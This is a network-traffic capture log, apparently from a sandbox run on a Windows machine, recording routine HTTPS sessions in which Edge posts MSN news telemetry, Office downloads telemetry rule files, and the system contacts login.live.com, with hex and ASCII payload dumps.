2024-11-25 15:21:50 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a439a8220a4b49beb702337196e826ce&HASH=a439&LV=202411&V=4&LU=1732548110439; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 15:21:50 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c6fd289b2c6f467cb810ac35b230a93b; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 15:51:50 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3453 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 15:21:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49883	51.116.253.170	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:50 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548106989&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5051 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 15:21:50 UTC	5051	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 35 3a 32 31 3a 34 36 2e 39 38 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 33 33 33 39 35 66 39 2d 39 32 36 32 2d 34 38 36 62 2d 38 34 31 66 2d 65 35 39 62 61 39 36 39 38 35 32 35 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 30 36 32 36 37 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T15:21:46.988Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"633395f9-9262-486b-841f-e59ba9698525","epoch":"2630626734"},"app":{"locale
2024-11-25 15:21:50 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=928b20e26bd94a8a89cd67b70606c049&HASH=928b&LV=202411&V=4&LU=1732548110522; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 15:21:50 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7fbb4cf34e504b558e15db136a9bd9ce; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 15:51:50 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3533 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 15:21:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:50 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 891407d0-301e-0096-28a6-3ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152151Z-178bfbc474bv587zhC1NYCny5w00000007n0000000000geu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:50 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c388be8e-101e-008e-2ebf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152151Z-178bfbc474bxkclvhC1NYC69g400000007gg00000000ksgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:51 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152151Z-15b8b599d889gj5whC1TEBfyk000000005z0000000009xkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49884	51.116.253.170	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:51 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548107710&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; msnup=
2024-11-25 15:21:51 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 35 3a 32 31 3a 34 37 2e 37 30 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 33 33 33 39 35 66 39 2d 39 32 36 32 2d 34 38 36 62 2d 38 34 31 66 2d 65 35 39 62 61 39 36 39 38 35 32 35 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 30 36 32 36 37 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T15:21:47.707Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"633395f9-9262-486b-841f-e59ba9698525","epoch":"2630626734"},"app":{"locale
2024-11-25 15:21:51 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2ed290e2ca4a4bfb924bad1f29d8fd48&HASH=2ed2&LV=202411&V=4&LU=1732548111296; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 15:21:51 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=934a39ab761b4d01b3fc5bf02fe0d72b; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 15:51:51 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3586 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 15:21:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:51 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 2315140c-801e-0015-4daf-3ef97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152151Z-178bfbc474bh5zbqhC1NYCkdug00000007m000000000aybq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49890	51.116.253.170	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:51 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732548107998&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9623 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0C72B46B3C106818117CA1293D846999; _EDGE_S=F=1&SID=083805B8B9C66CC63C1F10FAB8886D76; _EDGE_V=1; msnup=
2024-11-25 15:21:51 UTC	9623	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 35 3a 32 31 3a 34 37 2e 39 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 33 33 33 39 35 66 39 2d 39 32 36 32 2d 34 38 36 62 2d 38 34 31 66 2d 65 35 39 62 61 39 36 39 38 35 32 35 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 33 30 36 32 36 37 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-25T15:21:47.996Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"633395f9-9262-486b-841f-e59ba9698525","epoch":"2630626734"},"app":{"loc
2024-11-25 15:21:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3cff20d82a4b4acbaab2eafc351433bd&HASH=3cff&LV=202411&V=4&LU=1732548112063; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 15:21:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=1db09b6cfa6b41d18cf675d1fe849c86; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 15:51:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4065 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 15:21:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:51 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152151Z-174c587ffdfcb7qhhC1TEB3x70000000068g000000004d3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49892	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:21:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BL2 x-ms-request-id: 643565ab-3ce1-4b2f-b4f5-58ff3e2db17d PPServer: PPV: 30 H: BL02EPF0001D7BE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:51 GMT Connection: close Content-Length: 1918
2024-11-25 15:21:52 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 